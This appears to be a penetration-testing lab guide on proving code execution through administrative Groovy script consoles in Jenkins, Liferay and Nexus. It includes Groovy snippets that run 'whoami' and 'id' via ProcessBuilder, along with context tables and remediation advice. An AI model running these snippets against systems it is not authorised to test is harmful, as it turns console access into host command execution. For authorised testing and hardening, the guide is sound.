Groovy
Groovy is a JVM language, not an exploit by itself. An administrative scripting console can execute trusted code as the application service. Builder and Jeeves use Jenkins; the report uses Liferay’s Server Administrator script panel and Nexus administrative scripts.
Establish access and context
Identify the product, the specific script permission and the host running the application. A web administrator may have script access without being an operating-system administrator. A disabled console or restricted script role changes the attack path.
Use a small proof
Paste into a permitted Groovy script console:
println 'lab-script-proof'
println System.getProperty('user.name')
println System.getProperty('os.name')
println System.getProperty('user.dir')
Then, where process execution is the agreed proof:
def process = new ProcessBuilder('whoami').redirectErrorStream(true).start()
println process.inputStream.getText('UTF-8')
println "exit=" + process.waitFor()
ProcessBuilder receives argument strings directly; shell metacharacters are not automatically interpreted. Windows and Linux commands and executable paths differ.
Success: the server returns the marker and process identity. Record where execution occurred: controller, application host, container or agent. A failed callback could be a routing issue even when the local marker proves code execution. Remove saved test scripts and restrict scripting roles and the application’s OS privileges.
Identify where a script will run
| Surface | Execution context to establish |
|---|---|
| Jenkins controller Script Console | Controller JVM and controller service account |
| Jenkins agent Script Console | Selected agent JVM and agent service account |
| Jenkins Pipeline step | Agent/workspace and sandbox/approval policy can differ |
| Liferay administrative scripting | Portal JVM, script language and assigned administrator role |
| Nexus administrative script API | Installed version, scripting availability and exact script privilege |
Do not transfer a Jenkins URL or API recipe to another product. A product can expose Groovy while restricting the classes or operations available to the caller.
A richer context probe without filesystem changes
println "user=" + System.getProperty('user.name')
println "os=" + System.getProperty('os.name')
println "java=" + System.getProperty('java.version')
println "cwd=" + System.getProperty('user.dir')
println "host=" + java.net.InetAddress.getLocalHost().getHostName()
The host lookup can fail in a misconfigured container; the earlier lines still provide useful evidence. Java’s user.name is a lead; an operating-system identity command provides a stronger check of the spawned process.
Capture output without pipe deadlocks
def windows = System.getProperty('os.name').toLowerCase().contains('windows')
def argv = windows ? ['cmd.exe', '/c', 'whoami'] : ['/usr/bin/id']
def p = new ProcessBuilder(argv).start()
def stdout = new StringBuffer()
def stderr = new StringBuffer()
p.consumeProcessOutput(stdout, stderr)
p.waitForOrKill(5000)
println "stdout:\n${stdout}"
println "stderr:\n${stderr}"
println "exit=${p.exitValue()}"
This uses Groovy’s process helpers to drain both streams and bound execution to five seconds. Confirm that these helpers are allowed by the console’s class policy. For a long-running application process, a timeout can terminate the child; use a short identity command for this proof.
Why quoting behaves differently
new ProcessBuilder('/usr/bin/id') launches an executable. new ProcessBuilder('/bin/sh', '-c', 'id') explicitly invokes a shell. Redirects, pipes and && have meaning only when a shell interprets them. With argument arrays, each list element is an argument, so filenames with spaces do not need an extra layer of shell quoting.
Troubleshooting
| Result | Likely cause |
|---|---|
MissingMethodException | Groovy/helper version or restricted API |
| Process start reports file not found | Wrong OS or executable path; PATH differs from your login shell |
| Marker prints but process execution is denied | Script execution works; child-process policy blocks the next boundary |
| Script returns no output | Child still running, wrong output stream or exception hidden by UI |
Callback fails after id succeeds | Network route/listener issue; local execution was already proved |
| Jenkins output is from the wrong host | Controller versus selected agent console |
Keep the finding specific
Record product/version, console or script API, role used, selected host, JVM details and process identity. Administrative scripting is often an intended capability; the security issue may be excessive role assignment or an overprivileged service account. Remove saved scripts, test files and background processes created by later testing. See SSH Tunneling when the service is reachable only through a pivot.
Related learning
How attacks work. Examples use fictional lab values; replace placeholders only with values from the system you are testing.